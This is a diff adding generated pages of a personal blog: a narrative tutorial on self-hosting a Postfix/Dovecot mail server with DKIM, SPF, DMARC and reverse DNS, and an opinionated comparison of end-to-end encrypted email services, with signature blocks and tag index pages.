    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/dovecot/page/1/index.html b/public-clearnet/tags/dovecot/page/1/index.html new file mode 100644 index 0000000..2543654 --- /dev/null +++ b/public-clearnet/tags/dovecot/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/dovecot/ + \ No newline at end of file diff --git a/public-clearnet/tags/e2ee/index.html b/public-clearnet/tags/e2ee/index.html new file mode 100644 index 0000000..caaee1d --- /dev/null +++ b/public-clearnet/tags/e2ee/index.html @@ -0,0 +1,11 @@ +E2ee | AlipourIm journeys +

    Sending End‑to‑End Encrypted Email (E2EE) without losing friends

    A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.

    October 30, 2025 · 10 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/e2ee/index.xml b/public-clearnet/tags/e2ee/index.xml new file mode 100644 index 0000000..e5e7c50 --- /dev/null +++ b/public-clearnet/tags/e2ee/index.xml @@ -0,0 +1,158 @@ +E2ee on AlipourIm journeyshttps://blog.alipour.eu/tags/e2ee/Recent content in E2ee on AlipourIm journeysHugo -- 0.146.0enThu, 30 Oct 2025 00:00:00 +0000Sending End‑to‑End Encrypted Email (E2EE) without losing friendshttps://blog.alipour.eu/posts/e2ee/Thu, 30 Oct 2025 00:00:00 +0000https://blog.alipour.eu/posts/e2ee/A practical, mildly opinionated guide to sending encrypted email that normal people can actually read.If you’ve ever thought “I should really send this securely” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a usable path to end‑to‑end encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes don’t glaze over.

    +
    +

    Honestly, I don’t know why one would settle down for a paid option, but if you want to, then be my guest.

    +

    Why people don’t use E2EE email (and why you still should)

    +

    Email wasn’t designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.

    +

    But the upsides are huge: true confidentiality of message content and attachments, stronger authenticity (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to hesitate before sending, it probably matters enough to encrypt.

    +

    I mean, generally speaking one can use e2ee for anything, and not just email, but doesn’t it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you’re good to go!

    +

    The contenders (and how they feel to use)

    +

    Proton Mail (consumer‑friendly, great cross‑provider story)

    +

    Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a password‑protected message that opens in a secure web page; you share the password out‑of‑band (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Day‑to‑day, it’s just email—with an extra “lock” option when you need it.

    +

    Prices (personal): Free tier exists; paid tiers like Mail Plus and Proton Unlimited add storage, custom domains, and Proton Bridge for desktop clients. Expect single‑digit € per month for personal use; business plans are per‑user.
    +How to use: Sign up → compose → choose password‑protected email for non‑Proton recipients or send normally to Proton addresses. Recipients can reply securely in the web portal—even without an account.
    +Ups: Lowest friction to message non‑tech people; slick apps; plays well with PGP if you’re a power user.
    +Downs: Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.

    +

    Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It’s easy to use, and fun to show off.

    +

    Tuta (formerly Tutanota) (privacy maximalist, subject‑line encryption)

    +

    Tuta offers automatic E2EE between Tuta users and password‑protected emails to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including subject lines—and the whole suite is open‑source and auditable.

    +

    Prices (personal & business): Free plan plus personal tiers (e.g., Revolutionary, Legend) and business tiers (Essential/Advanced/Unlimited). Personal is typically low single‑digit €/month; business is per‑user, per‑month.
    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/e2ee/page/1/index.html b/public-clearnet/tags/e2ee/page/1/index.html new file mode 100644 index 0000000..7949d31 --- /dev/null +++ b/public-clearnet/tags/e2ee/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/e2ee/ + \ No newline at end of file diff --git a/public-clearnet/tags/element-call/index.html b/public-clearnet/tags/element-call/index.html new file mode 100644 index 0000000..69c010e --- /dev/null +++ b/public-clearnet/tags/element-call/index.html @@ -0,0 +1,13 @@ +Element-Call | AlipourIm journeys +
    Matrix, Signal but distributed

    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it. +What I’m building A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain). TURN/STUN (coTURN) for NAT traversal. Element Call backed by LiveKit, fronted by rtc.example.com. Nginx (host) as the single reverse proxy for everything. Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud). UFW firewall opened for Matrix federation, TURN, and LiveKit media ports. I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448. +...

    August 26, 2025 · 8 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
